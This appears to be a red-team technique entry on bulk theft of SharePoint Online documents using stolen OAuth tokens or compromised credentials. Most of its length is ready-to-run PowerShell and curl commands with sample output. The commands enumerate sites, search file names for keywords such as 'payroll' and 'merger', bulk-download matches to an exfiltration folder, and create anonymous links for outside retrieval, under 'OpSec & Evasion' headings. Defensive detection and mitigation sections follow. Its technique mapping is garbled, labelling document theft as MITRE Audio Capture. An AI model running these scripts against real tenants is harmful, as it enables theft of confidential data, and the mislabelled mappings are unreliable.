| Attribute | Details |
|---|---|
| Technique ID | COLLECT-SCREEN-001 |
| MITRE ATT&CK v18.1 | T1123 - Audio Capture |
| Tactic | Collection |
| Platforms | M365, SharePoint Online |
| Severity | High |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | SharePoint Online 2019 - 2025, Office 365 E3+ |
| Patched In | N/A - Feature-based collection |
| Author | SERVTEP – Artur Pchelnikau |
Concept: SharePoint Document Collection exploits both the legitimate access capabilities of authenticated users and API-level access to systematically harvest sensitive documents from SharePoint Online repositories. Attackers leverage either compromised credentials, OAuth token theft, or application permissions to enumerate document libraries, retrieve file metadata, and download documents at scale. This technique represents a critical data exfiltration vector when combined with prior credential compromise or application privilege escalation.
Attack Surface: SharePoint Online REST API, Microsoft Graph API (/sites/{site-id}/drive/root/children), document library enumeration endpoints, external sharing links, and OneDrive for Business integration points.
Business Impact: Massive intellectual property theft and compliance violations. Attackers can extract entire document repositories containing business plans, financial records, customer data, source code, and strategic communications. The impact is especially severe in regulated industries (finance, healthcare, legal) where unauthorized access triggers compliance fines.
Technical Context: Collection typically occurs after credential compromise or OAuth token theft. Execution is fast (minutes to hours for bulk downloads) and difficult to detect without comprehensive audit logging. The technique can be executed from any internet-connected device and is extremely difficult to attribute to a single attacker.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.3.3 | Ensure that External access is disabled for SharePoint Online |
| DISA STIG | WN10-CC-000505 | Ensures controls on external sharing and document access |
| CISA SCuBA | SHAREPOINT.1 | Disable external sharing of SharePoint sites and OneDrive |
| NIST 800-53 | AC-3, AC-6 | Access Enforcement and Least Privilege Access |
| GDPR | Art. 32 | Security of Processing (encryption, access controls) |
| DORA | Art. 9 | Protection and Prevention of Data Breaches |
| NIS2 | Art. 21 | Cyber Risk Management Measures for Critical Infrastructure |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights |
| ISO 27005 | Risk Scenario | Compromise of Data Repositories and Unauthorized Information Disclosure |
Required Privileges:
Sites.Read.All, Files.Read.All, or SharePoint.Sites.Read.All permissionshttps://graph.microsoft.com/.defaultRequired Access:
https://graph.microsoft.com (port 443, HTTPS)https://{tenant}.sharepoint.com (port 443, HTTPS)Supported Versions:
Tools:
Supported Versions: SharePoint Online 2019-2025, Office 365 E3+
Objective: Establish authenticated connection to Microsoft Graph API using stolen OAuth token or compromised credentials.
Version Note: All Office 365 versions support Graph API; authentication method varies based on token acquisition method.
Command (Using Access Token):
# Using stolen OAuth token directly
$token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik5..." # Stolen token
$headers = @{
"Authorization" = "Bearer $token"
"Content-Type" = "application/json"
}
# Validate token by calling Graph
$response = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me" `
-Headers $headers -Method Get
Write-Host "Authenticated as: $($response.userPrincipalName)"
Command (Using Compromised Credentials):
# Connect using compromised user credentials
Connect-MgGraph -Scopes "Sites.Read.All", "Files.Read.All" -TenantId "your-tenant-id"
# Provide credentials when prompted
Expected Output:
Authenticated as: john.smith@company.com
Tenant: company.onmicrosoft.com
What This Means:
OpSec & Evasion:
Troubleshooting:
Sites.Read.All, Files.Read.All)Objective: Discover all SharePoint site collections accessible with current authentication context.
Command:
# Using Microsoft Graph API
$sites = (Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/sites" `
-Headers $headers -Method Get).value
foreach ($site in $sites) {
Write-Host "Site: $($site.displayName) | ID: $($site.id) | URL: $($site.webUrl)"
}
Command (Server 2022+):
# Using PnP PowerShell (preferred method for newer SharePoint)
Get-PnPTenantSite | Select-Object Url, Title, Status
Expected Output:
Site: Finance-Shared | ID: sharepoint.com,site-id | URL: https://company.sharepoint.com/sites/finance
Site: Marketing-Assets | ID: sharepoint.com,site-id-2 | URL: https://company.sharepoint.com/sites/marketing
Site: Legal-Documents | ID: sharepoint.com,site-id-3 | URL: https://company.sharepoint.com/sites/legal
What This Means:
OpSec & Evasion:
Objective: Discover all document libraries within target SharePoint site and assess accessible documents.
Command:
# Enumerate drives (document libraries) in a SharePoint site
$siteId = "sharepoint.com,site-id,site-id"
$drives = (Invoke-RestMethod `
-Uri "https://graph.microsoft.com/v1.0/sites/$siteId/drives" `
-Headers $headers -Method Get).value
foreach ($drive in $drives) {
Write-Host "Library: $($drive.name) | ID: $($drive.id) | Items: $($drive.quota.used) bytes used"
}
Expected Output:
Library: Documents | ID: b!drive-id | Items: 5368709120 bytes used
Library: Shared Documents | ID: b!drive-id-2 | Items: 10737418240 bytes used
Library: Archive | ID: b!drive-id-3 | Items: 2147483648 bytes used
What This Means:
OpSec & Evasion:
Objective: Recursively enumerate files in document library and identify documents by sensitivity keywords (e.g., “confidential,” “secret,” “acquisition”).
Command:
# Recursively enumerate files in document library with keyword filtering
$driveId = "b!drive-id"
$sensitivityKeywords = @("confidential", "secret", "acquisition", "payroll", "patent", "merger")
function Get-FilesRecursive {
param ($DriveId, $ItemId = $null)
if ($null -eq $ItemId) {
$uri = "https://graph.microsoft.com/v1.0/me/drives/$DriveId/root/children"
} else {
$uri = "https://graph.microsoft.com/v1.0/me/drives/$DriveId/items/$ItemId/children"
}
$items = (Invoke-RestMethod -Uri $uri -Headers $headers -Method Get).value
foreach ($item in $items) {
if ($item.folder -ne $null) {
# Recursively process folders
Get-FilesRecursive -DriveId $DriveId -ItemId $item.id
} else {
# Check file name for sensitivity keywords
$match = $sensitivityKeywords | Where-Object { $item.name -like "*$_*" }
if ($null -ne $match) {
Write-Host "SENSITIVE: $($item.name) | Size: $($item.size) | Modified: $($item.lastModifiedDateTime)"
}
}
}
}
Get-FilesRecursive -DriveId $driveId
Expected Output:
SENSITIVE: 2026_Acquisition_Targets.xlsx | Size: 524288 | Modified: 2025-12-15T10:30:00Z
SENSITIVE: Payroll_System_Passwords.docx | Size: 262144 | Modified: 2025-12-10T14:22:00Z
SENSITIVE: Patent_Filing_Strategy.pdf | Size: 1048576 | Modified: 2025-12-01T09:15:00Z
What This Means:
OpSec & Evasion:
Objective: Obtain time-limited download URLs for sensitive files and initiate bulk download exfiltration.
Command:
# Generate download URLs for files (valid for 1 hour)
$driveId = "b!drive-id"
$itemId = "file-item-id"
# Get download URL
$fileMetadata = Invoke-RestMethod `
-Uri "https://graph.microsoft.com/v1.0/me/drives/$driveId/items/$itemId" `
-Headers $headers -Method Get
$downloadUrl = $fileMetadata['@microsoft.graph.downloadUrl']
# Download file
$outputPath = "C:\Exfil\Confidential_Data.xlsx"
Invoke-WebRequest -Uri $downloadUrl -OutFile $outputPath -Method Get
Write-Host "Downloaded to: $outputPath"
Command (Bulk Download - Multiple Files):
# Batch download multiple sensitive files
$filesToDownload = @(
@{ driveId = "b!drive-id"; itemId = "item-1"; name = "Acquisition_Targets.xlsx" },
@{ driveId = "b!drive-id"; itemId = "item-2"; name = "Payroll_System.docx" },
@{ driveId = "b!drive-id"; itemId = "item-3"; name = "Patent_Strategy.pdf" }
)
foreach ($file in $filesToDownload) {
$metadata = Invoke-RestMethod `
-Uri "https://graph.microsoft.com/v1.0/me/drives/$($file.driveId)/items/$($file.itemId)" `
-Headers $headers -Method Get
$url = $metadata['@microsoft.graph.downloadUrl']
Invoke-WebRequest -Uri $url -OutFile "C:\Exfil\$($file.name)" -Method Get
Write-Host "Downloaded: $($file.name)"
}
Expected Output:
Downloaded to: C:\Exfil\Confidential_Data.xlsx
Downloaded: Acquisition_Targets.xlsx
Downloaded: Payroll_System.docx
Downloaded: Patent_Strategy.pdf
What This Means:
OpSec & Evasion:
Troubleshooting:
Supported Versions: SharePoint Online 2022+
Objective: Establish connection to target SharePoint site using compromised credentials or OAuth token.
Command:
# Connect using credentials
Connect-PnPOnline -Url "https://company.sharepoint.com/sites/finance" `
-Credentials (Get-Credential) -Verbose
# Alternative: Using client ID and secret (service principal)
Connect-PnPOnline -Url "https://company.sharepoint.com/sites/finance" `
-ClientId "client-id-here" -ClientSecret "client-secret-here" `
-Tenant "company.onmicrosoft.com"
Expected Output:
Connected to: https://company.sharepoint.com/sites/finance
Using: company\john.smith
What This Means:
OpSec & Evasion:
Objective: Enumerate accessible document libraries in the connected site.
Command:
# Get all libraries in site
$lists = Get-PnPList | Where-Object { $_.BaseType -eq "DocumentLibrary" }
foreach ($list in $lists) {
Write-Host "Library: $($list.Title) | Items: $($list.ItemCount)"
}
Expected Output:
Library: Documents | Items: 234
Library: Shared Documents | Items: 1023
Library: Archive | Items: 5678
What This Means:
Objective: Download files from document library using PnP PowerShell native methods.
Command:
# Download all files matching criteria
$library = "Documents"
$outputPath = "C:\Exfil\"
$items = Get-PnPListItem -List $library | Where-Object {
$_.FieldValues['FileLeafRef'] -like "*confidential*"
}
foreach ($item in $items) {
$fileName = $item.FieldValues['FileLeafRef']
Get-PnPFile -Url "/sites/finance/$library/$fileName" `
-Path $outputPath -Filename $fileName -Force
Write-Host "Downloaded: $fileName"
}
Expected Output:
Downloaded: Confidential_Report_2025.xlsx
Downloaded: Secret_Strategy.docx
What This Means:
OpSec & Evasion:
Supported Versions: SharePoint Online 2019-2025
Objective: Generate shareable link to sensitive documents without requiring external recipients to authenticate.
Command:
# Connect to site
Connect-PnPOnline -Url "https://company.sharepoint.com/sites/finance" -Credentials (Get-Credential)
# Create anonymous sharing link for sensitive document
$file = Get-PnPFile -Url "/sites/finance/Shared Documents/Acquisition_Targets.xlsx"
$sharingLink = Grant-PnPSharingLink -FileUrl "/sites/finance/Shared Documents/Acquisition_Targets.xlsx" `
-ShareLinkType Anonymous -ExpirationDays 7
Write-Host "Sharing Link: $($sharingLink.Link)"
Expected Output:
Sharing Link: https://company-my.sharepoint.com/:x:/g/personal/sharing_company_onmicrosoft_com/file-id?e=aBcDeF
What This Means:
OpSec & Evasion:
Objective: Simulate attacker downloading via anonymous sharing link from external network (no authentication required).
Command:
# Download from external network (no credentials needed)
curl -L "https://company-my.sharepoint.com/:x:/g/personal/sharing_company_onmicrosoft_com/file-id?download=1" \
-o confidential_data.xlsx
# Alternative using wget
wget "https://company-my.sharepoint.com/:x:/g/personal/sharing_company_onmicrosoft_com/file-id?download=1" \
-O confidential_data.xlsx
# Verify file integrity
sha256sum confidential_data.xlsx
Expected Output:
confidential_data.xlsx saved successfully
b3c8a9f1e2d4f5c6a7b8e9f0d1c2a3b4c5d6e7f8 confidential_data.xlsx
What This Means:
OpSec & Evasion:
File Access Patterns:
Network Indicators:
https://graph.microsoft.com/v1.0/drives endpointshttps://{tenant}.sharepoint.com/personal (OneDrive exfiltration)API Indicators:
/me/drives/{id}/items/{id}/children (recursive enumeration)Cloud Logs:
Search-UnifiedAuditLog -Operations FileDownloaded -StartDate (Get-Date).AddDays(-30)Local Artifacts (If Downloaded to Endpoint):
C:\Exfil\ or Temp directoriesHKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocsWindows PowerShell (Event ID 4688 if Process Audit enabled)# Disable user account immediately
Disable-AzADUser -ObjectId "compromised-user-id"
# Revoke all OAuth tokens for user
Revoke-AzureADUserAllRefreshToken -ObjectId "compromised-user-id"
# Rotate SharePoint Site Admin passwords
Set-PnPTenant -DisableExternalSharing $true
Manual Steps (Azure Portal):
# Export SharePoint audit logs for analysis
Search-UnifiedAuditLog -Operations FileDownloaded -UserIds "compromised-user-email" `
-StartDate (Get-Date).AddDays(-30) | Export-Csv -Path "C:\Evidence\FileDownloads.csv"
# Export OAuth token usage from Sign-in logs
Get-AzureADAuditSignInLog -UserPrincipalName "compromised-user-email" |
Export-Csv -Path "C:\Evidence\SigninLogs.csv"
# List files accessed by attacker
Get-PnPListItem -List "Documents" |
Where-Object { $_.FieldValues['Modified'] -gt (Get-Date).AddDays(-7) } |
Export-Csv -Path "C:\Evidence\ModifiedFiles.csv"
# Re-secure SharePoint site permissions
Set-PnPSite -Url "https://company.sharepoint.com/sites/finance" `
-DisableSharingForNonOwners $true
# Disable external sharing
Set-PnPTenant -ExternalUserExpirationRequired $true -ExternalUserExpireInDays 30
# Restore from backup if available
# Notify affected users of potential data breach
Manual (Azure Portal):
Implement Data Loss Prevention (DLP) Policies: Applies To Versions: SharePoint Online 2019+
Manual Steps (Microsoft 365 Compliance Center):
Block Sensitive Document DownloadsPowerShell Alternative:
New-DlpCompliancePolicy -Name "SharePoint Sensitive Downloads" `
-SharePoint "All" -OneDrive "All" -Verbose
Enable Conditional Access Policies: Applies To Versions: Entra ID all versions
Manual Steps (Azure Portal):
Block Bulk SharePoint DownloadsPowerShell Alternative:
$policy = New-AzureADMSConditionalAccessPolicy `
-DisplayName "Block Bulk SharePoint Downloads" `
-State "Enabled"
Disable Legacy Authentication: Applies To Versions: Entra ID all versions
Manual Steps:
Block Legacy AuthenticationEnable SharePoint Audit Logging: Applies To Versions: SharePoint Online 2019+
Manual Steps:
Enable Advanced Threat Protection (ATP): Applies To Versions: Office 365 E5 / Microsoft Defender for Office 365
Manual Steps:
Implement Zero Trust Access Control:
Conditional Access Policy:
Enforce Role-Based Access Control (RBAC):
Minimum Permissions Principle:
Manual Steps (SharePoint):
Enable Sensitivity Labels:
Manual Steps:
Confidential - High Impact, Internal Only, Public# Verify DLP policy is active
Get-DlpCompliancePolicy -Identity "SharePoint Sensitive Downloads" |
Select-Object Name, State, LastModifiedTime
# Verify Conditional Access policies
Get-AzureADMSConditionalAccessPolicy |
Where-Object { $_.DisplayName -like "*SharePoint*" } |
Select-Object DisplayName, State
# Verify SharePoint external sharing disabled
Get-SPOTenant | Select-Object SharingCapability
# Expected Output (If Secure):
# SharingCapability: ExistingExternalUserSharingOnly (or Disabled)
What to Look For:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker sends phishing email with OAuth device code login link |
| 2 | Credential Access | [CA-TOKEN-001] Hybrid AD Cloud Token Theft | Stolen OAuth token obtained after successful phishing |
| 3 | Collection | [COLLECT-SCREEN-001] | Document exfiltration via Graph API using stolen token |
| 4 | Exfiltration | [CA-UNSC-020] Cloud Certs Token Forgery | Attacker uses exfiltrated credentials for additional lateral movement |
| 5 | Impact | Data Breach / Compliance Violation | Sensitive data exposed publicly or sold on dark web |
Test Name: Enumerate SharePoint Sites and Document Libraries
Description: Simulates defender testing by enumerating accessible SharePoint sites and document libraries using Graph API.
Supported Versions: SharePoint Online 2019+
Command:
Invoke-AtomicTest T1123 -TestNumbers 1
Cleanup Command:
Invoke-AtomicTest T1123 -TestNumbers 1 -Cleanup
Reference: Atomic Red Team Library - T1123